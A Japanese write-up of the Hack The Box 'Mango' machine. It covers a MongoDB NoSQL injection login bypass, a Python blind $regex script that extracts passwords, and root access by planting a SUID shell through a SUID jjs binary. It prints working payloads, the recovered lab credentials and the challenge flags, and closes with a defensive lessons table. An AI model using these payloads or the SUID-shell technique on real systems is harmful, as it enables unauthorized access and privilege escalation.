Hack The BoxのWriteup(Mango)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Mango — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443
SSL証明書CN発見
staging-order.mango.htb
MongoDB $ne 認証バイパス
password[$ne]=any
$regex ブラインド抽出
1文字ずつ資格情報復元
admin/mango 資格情報取得
user.txt ✓
SUID jjs (Nashorn)
GTFOBins Runtime.exec()
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,80,443 10.129.229.185
RESULT
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.29
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
|_http-title: Mango | Search Base
Service Info: Host: 10.129.229.185; OS: Linux
🚨
重要発見: ポート80は403 Forbiddenで何も見せてくれないが、ポート443のSSL証明書 commonName フィールドから本来のバーチャルホスト名 staging-order.mango.htb が漏洩している。TLS証明書のCN/SANは、隠されたvhost名を発見する定番の手がかり。

/etc/hosts へ vhost 登録 & サイト確認

BASH
echo "10.129.229.185 mango.htb staging-order.mango.htb" | sudo tee -a /etc/hosts
curl -sk https://staging-order.mango.htb/
RESULT
<title>Mango | Search Base</title>
(ユーザー名・パスワード入力欄のあるログインフォームを含むページ)
PHASE 2

MongoDB NoSQLインジェクション($ne 認証バイパス + $regex ブラインド抽出)

$ne 演算子による認証バイパスの確認

NOTE
ログインフォームのバックエンドはPHPがユーザー入力をサニタイズせずMongoDBクエリの
連想配列へ直接組み込んでいる典型的な脆弱実装。フォームフィールド名を配列記法にすると
(例: password[$ne]=x)、PHPはこれを {"password": {"$ne": "x"}} という
MongoDBクエリ演算子として解釈してしまう。$ne(not equal)は「パスワードが
文字列"x"と等しくない」という条件になり、実際のパスワードが何であっても真になるため
認証をバイパスできる。
PYTHON (requestsでの再現)
import requests
s = requests.Session()
r = s.post("http://staging-order.mango.htb/",
    data={"username": "admin", "password[$ne]": "admin", "login": "login"},
    allow_redirects=False)
print(r.status_code)  # 302 ならバイパス成功(ログインページはPOST成功時に302で遷移)
$ne バイパス成功を確認。 ただしログイン後のダッシュボードには有用な情報が 無かったため、次のステップで$regexブラインド抽出によりMongoDB内のusersコレクション から直接資格情報を盗み出す。

$regex によるユーザー名文字集合の特定

PYTHON (1文字ずつ真偽判定)
# username[$regex]=^<1文字>.* を送り、302(マッチ=真)/200(不一致=偽)で
# 使われている文字集合を絞り込む(^,$,|,\,. はMongoDB正規表現の特殊文字として要エスケープ)
for ch in string.printable:
    r = s.post(url, data={
        "username[$regex]": f"^{escape(ch)}.*",
        "password[$ne]": "___invalid___",
        "login": "login",
    }, allow_redirects=False)
    if r.status_code == 302:
        valid_chars.append(ch)
RESULT (実データ)
Mango: username有効文字集合 = ['a', 'd', 'g', 'i', 'm', 'n', 'o']

ユーザー名の逐次復元

PYTHON (アンカー付き逐次構築)
# 確定済みprefixに文字集合内の各文字を1つずつ試し、
# username[$regex]=^<確定済みprefix><候補文字>.* がマッチする文字を採用、
# マッチしなくなるまで繰り返す。複数ユーザーが存在する場合、charset内の
# 最初の候補("a")から始めると常に同じ名前("admin")に収束してしまうため、
# 文字集合の各先頭文字ごとに独立して探索することで両方のユーザー名を発見。
RESULT (実データ)
Mango: 発見ユーザー名 = ['admin', 'mango']

パスワードの逐次復元

PYTHON
# 今度は target_field を password[$regex] に切り替え、
# username フィールドは既知値をそのまま送って絞り込む
password[$regex] = "^" + escape(known_prefix) + escape(candidate) + ".*"
username = "admin"  # または "mango"
RESULT (実データ)
Mango: クレデンシャル発見 admin:t9KcS3>!0B#2
Mango: クレデンシャル発見 mango:h3mXK8RhU~f{]f5H
窃取した認証情報(MongoDBブラインドNoSQLi経由)
admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H
PHASE 3

SSHログイン → su admin → user.txt

mango でSSHログイン

BASH
sshpass -p 'h3mXK8RhU~f{]f5H' ssh mango@10.129.229.185
ℹ️
mango 単体では /home/mango/user.txt は存在しない。フラグは admin のホームディレクトリにあるため、su で横移動する必要がある。

su – admin → user.txt 取得

BASH (実際のセッション)
mango@mango:~$ su - admin
Password: t9KcS3>!0B#2
$ cat /home/admin/user.txt
RESULT (実データ)
d1cf82cff2fa43ec50911603199633e8
user.txt — admin
d1cf82cff2fa43ec50911603199633e8
⚠️
自動化時の落とし穴: expect でこのセッションをスクリプト化する際、 プロンプト検出に expect -re "\$ "(Tclの二重引用符内でバックスラッシュをエスケープして リテラルの$にするつもり)と書いても、Tclの二重引用符パーサーは\$を 「変数展開を防ぐエスケープ」として扱いバックスラッシュ自体を消費してしまうため、 最終的に正規表現エンジンに渡るのは素の $(行末アンカー)になってしまい、 プロンプト文字列と噛み合わずタイムアウトする。正しくは expect -re "\\$ " (バックスラッシュを二重に)と書き、Tclの二重引用符処理を経てもなお1つのバックスラッシュが 正規表現側に残るようにする必要がある。
PHASE 4

SUID jjs (OpenJDK Nashorn) 権限昇格 → root.txt

SUIDバイナリの調査

BASH
admin@mango:~$ find / -perm -4000 -type f 2>/dev/null
RESULT
/usr/bin/jjs
(標準的なSUIDバイナリ群に混じって、通常SUIDが付くことのない
 OpenJDKのNashorn JavaScriptシェル "jjs" にSUIDビットが付与されている)
🚨
jjsGTFOBins に権限昇格手法が掲載されている既知の悪用可能バイナリ。SUID付きで実行すると、 JavaScript経由で任意のJavaランタイムAPI(java.lang.Runtime等)を実効uidで 呼び出せてしまう。

jjs起動時の落とし穴 — ANSIカーソル位置問い合わせ

NOTE
jjsの対話REPLはJLine(行編集ライブラリ)を使用しており、起動直後に端末へ
カーソル位置問い合わせのANSIエスケープシーケンス(ESC [ 6 n, Device Status Report)を
送信し、端末からの応答(ESC [ row ; col R)を待つ。expect等の非対話PTY経由でこれに
一切応答しないと、JLineが永久に応答待ちでブロックし、以降の入力を一切受け付けなく
なる(スクリプト全体がタイムアウトする紛らわしい失敗の原因)。

対策: jjs起動時に環境変数 TERM=dumb を指定する。JLineはdumb端末を検出すると
カーソル位置問い合わせ等のリッチな端末機能を一切使わないプレーンモードへフォールバック
するため、この問題を回避できる。
BASH
admin@mango:~$ TERM=dumb jjs

GTFOBins手法でSUID付き /bin/sh を設置

BASH (実際のjjsセッション、実データ)
$ TERM=dumb jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/.mango_sh').waitFor()
0
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/.mango_sh').waitFor()
0
jjs> (Ctrl+D で jjs を終了)
ℹ️
jjs プロセス自体がSUID(所有者root)で起動しているため、その中から Runtime.exec()で起動した子プロセス(cp/chmod)もroot権限で実行される。 /bin/sh/tmp にコピーしてSUIDを付与しておけば、jjsを抜けた後も いつでもroot実効権限のシェルを起動できる。

root.txt 取得

BASH
$ /tmp/.mango_sh -p -c 'cat /root/root.txt'
RESULT (実データ)
27a23da3289135c795219e3818f9b2bc
root権限奪取成功! -p オプションはshに対し、SUIDで実行された際に 実効uid(root)を実uidへドロップしないよう指示するフラグ。これが無いと、shが自動的に 安全側に倒してroot権限を放棄してしまう。
root.txt — root@mango
27a23da3289135c795219e3818f9b2bc
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — admin
d1cf82cff2fa43ec50911603199633e8
root.txt — root@mango
27a23da3289135c795219e3818f9b2bc

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
MongoDB NoSQLi ($ne / $regex) staging-order.mango.htb ログインフォーム 認証バイパス + 資格情報の完全窃取 Critical password[$ne]でログインバイパス、username/password[$regex]で1文字ずつブラインド抽出
SUID jjs (GTFOBins) /usr/bin/jjs (OpenJDK Nashorn) 権限昇格 (root) High Java.type(‘java.lang.Runtime’).getRuntime().exec()でSUID付き/bin/shを設置しroot実効シェル取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + SSL証明書CN解析隠しvhost staging-order.mango.htb発見
2NoSQLi$ne認証バイパス + $regexブラインド抽出admin/mangoの平文パスワード
3初期侵入SSH(mango) + su(admin)user.txt 取得
4権限昇格SUID jjs + GTFOBins Runtime.exec()root.txt 取得(rootシェル)

学んだ教訓 & 防御策

問題点防御策
ユーザー入力をサニタイズせずMongoDBクエリの連想配列へ直接組み込んでいる 入力値の型を厳密にバリデーションし、配列/オブジェクトが来ることを想定した実装にする(PHPならis_string()チェック等)。MongoDBドライバのクエリビルダを使い生の演算子注入を防ぐ。
TLS証明書のCommonNameに内部向けのステージングvhost名を含めている 本番公開証明書には外部公開が意図されたホスト名のみを含め、ステージング/内部環境は別証明書・別CAで管理する。
本来SUIDが不要なJava開発ツール(jjs)にSUIDビットが付与されている 定期的にfind / -perm -4000でSUIDバイナリを棚卸しし、不要なものは削除・ビット除去する。開発ツール類を本番環境に残さない。
HackTheBox: Mango | 完全攻略レポート